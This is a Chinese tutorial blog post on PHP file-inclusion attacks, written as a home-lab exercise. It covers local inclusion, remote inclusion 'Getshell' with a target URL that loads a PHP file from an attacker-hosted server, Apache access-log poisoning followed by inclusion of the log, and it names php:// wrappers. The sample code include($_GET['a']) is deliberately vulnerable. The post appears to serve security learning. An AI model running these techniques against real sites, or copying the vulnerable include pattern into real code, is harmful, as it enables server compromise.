文 件 包 含

什么是文件包含?

下图很好的表达了"文件包含"的含义,图1中(a)为文件f1.c,它有一个#include “f2.c”命令,后面跟着文件内容,记为程序1.图1中(b)为另一个文件f2.c,文件内容以程序2表示。在预编译时,对要#include命令进行"文件包含"处理,将f2.c的全部内容复制插入到#include “f2.c” 命令处,即f2.c被包含到f1.c中,得到如图1中(c)所示的结果。在编译时,将"包含"以后的f1.c(如图1中(c))作为一个源文件进行编译处理。

 

文件包含:开发人员通常会把重复使用的函数写到单个文件中,使用时直接调用此文件,而无需再次编写,这种调用文件的过程一般称为包含。

一、本地文件包含(无视后缀)

创建:include.php

<?php include("print.php");?>

再创建:print.php

<?php echo "hello world";?>

再访问浏览器访问include.php

 试着去修改print.txt扩展名为:jpg、rar、xxx发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。

二、远程文件包含Getshell

首先确定自己的目标机和攻击机,这里是本机为攻击机,虚拟机为目标机。我们要先确定目标机PHPstudy上如图已经开启

 编写include.php并上传到网站根目录

<?php include($_GET['a']);?>

然后在本地网站根目录新建phpinfo.php

<?php phpinfo();?>

然后进行远程包含,打开浏览器输入

http://目标机ip/include.php?a=http://攻击机ip/phpinfo.php

 三、apache日志文件包含

找到apache安装目录下的conf里面的httpd.conf配置文件找到 CustomLog "logs/access.log" common 去掉前面的#号

 然后访问http://本机ip/<?php phpinfo();?>

再去寻找日志

 

 

 再利用Burp进行抓包

 将被编码的符号改回去

再发送后去查看日志。

访问:http://本机ip/include.php?a=E:\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log

 四、php伪协议

1、php://input

2、filter://

3.data://

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值